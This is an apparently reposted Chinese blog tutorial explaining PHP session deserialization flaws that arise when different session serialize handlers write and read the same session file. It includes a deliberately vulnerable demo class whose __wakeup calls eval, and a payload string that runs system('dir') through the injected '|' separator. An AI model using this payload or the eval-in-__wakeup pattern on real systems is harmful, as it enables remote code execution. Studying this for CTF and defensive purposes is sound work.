PHP session反序列化漏洞深入探究
作者:隐形卟 发布时间:2023-05-30 04:53:04
PHP session
php session 反序列化漏洞存在的原因:当序列化session和读取反序列化字符时采用的序列化选择器不一样时,处理的方法不一样。
php三种序列化处理器
序列化处理器
php (php默认中使用的序列化) 存储格式为:键名 + 竖线 + 经过serialize()函数反序列化处理的值php_binary 存储格式:键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值
php_serialize 在php版本>5.5.4中可以选择使用 存储格式:经过serialize()函数反序列处理的数组
通过php.ini 可以设置保存路径配置 php session 参数是 session.save_path=“保存路径”
php 中配置session序列化处理器通过ini_set()方法进行选择 :ini_set(‘session.serialize_handler’, ‘处理器’);
生成session php_serialize序列化处理器
demo2.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();//创建一个session 会话(当客户端第一次访问时会生成一个随机的session文件在指定保存目录中)
$_SESSION['session'] = $_GET['k'];
var_dump($_SESSION);
访问该页面
查看session 文件保存路径,生成了一个sess_一串随机字符的文件,打开文件查看,从get提交的值以序列化的格式存储到该文件。
在读取session时使用不一样的序列化处理器,使用php_serialize 序列化处理会把 符号 “|“作为一个正常的字符处理。而php序列化处理器会把”|” 当成分割符处理。
ctf.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test{
public $name;
function __wakeup(){
eval($this->name);
}
}
构造成反序列化payload为:k=|O:4:“test”:1:{s:4:“name”;s:17:“system(‘dir’);”;}
访问demo2.php
查看sess文件内容:| 分割符被传递了进去
再访问ctf.php,触发了__wakeup函数从而执行了eval代码执行命令,由于使用不同的序列化处理器来处理session文件,序列化对特殊符号的处理方法不一样,从而导致产生了漏洞
来源:https://blog.csdn.net/qq_42077227/article/details/127567246


猜你喜欢
- SQL2005没有像SQL2000一样的客户端网络实用工具,基本上SQL2005算是把SQL2000里面的名字都改了,在网上找资料也没找到,
- 一、简介Python:英 -[‘paɪθ ə n]或[‘paɪθɑn] 89年诞生 可用于软件开发:游戏后台、搜索、图形界面,网站,C\S(
- 我就废话不多说了,大家还是直接看代码吧~# 两个依赖包: sasl&thriftThe easier way I find to i
- 前言我看到最近几部电影很火,查了一下猫眼电影上的数据,发现还有个榜单,里面有各种经典和热映电影的排行榜,然后我觉得电影封面图还挺好看的,想着
- 在Python中,很多对象都是可以通过for语句来直接遍历的,例如list、string、dict等等,这些对象都可以被称为可迭代对象。至于
- 本文实例讲述了Python使用pymongo模块操作MongoDB的方法。分享给大家供大家参考,具体如下:通过pymongo实现python
- 关于python写邮件各种功能我们已经介绍过很多,大家有兴趣可以参考:python自动化发送邮件实例讲解python实现发送QQ邮件(可加附
- 一、前言1.1.环境python版本:3.6Django版本:1.11.61.2.预览效果最终搭建的blog的样子,基本上满足需求了。框架搭
- jupyter notebookjupyter不被识别为内部或外部命令,可操作程序或批处理文件'上次 jupyter noteboo
- HTTPS简介HTTPS(Hyper Text Transfer Protocol Secure),是一种基于SSL/TLS的HTTP,所有
- 本文实例讲述了Python编程之序列操作。分享给大家供大家参考,具体如下:#coding=utf8''''&
- 这里的Counter是指collections中的Counter,通过Counter可以实现字典的创建以及字典key出现频次的统计。然而,使
- 花了两周时间,利用工作间隙时间,开发了一个基于Django的项目任务管理Web应用。项目计划的实时动态,可以方便地被项目成员查看(^_^又重
- Go语言作为一门开源的编程语言,已经广泛应用于各个领域。作为一门现代化的编程语言,Go语言支持模块化开发,而包和依赖管理是模块化开发的重要组
- 数据库查询哪个对像里面包含什么字段语句写法:select *from sysobjects o, syscomments swhere o.
- 一:背景1. 讲故事相信大家在使用 SQLSERVER 的过程中经常会遇到 阻塞 和 死锁,尤其是 死锁,比如下面的输出:(1 row af
- Golang多线程刷票的实现代码直接用Go语言来写下刷票。package mainimport ("fmt" "
- eval函数就是实现list、dict、tuple与str之间的转化str函数把list,dict,tuple转为为字符串一、字符串转换成列
- 本文实例讲述了Python使用微信SDK实现的微信支付功能。分享给大家供大家参考,具体如下:最近一段时间一直在搞微信平台开发,v3.37版本
- 1. 生命游戏是什么生命游戏是英国数学家约翰·何顿·康威在1970年发明的细胞自动机。它包括一个二维矩形世界,这个世界中的每个方格居住着一个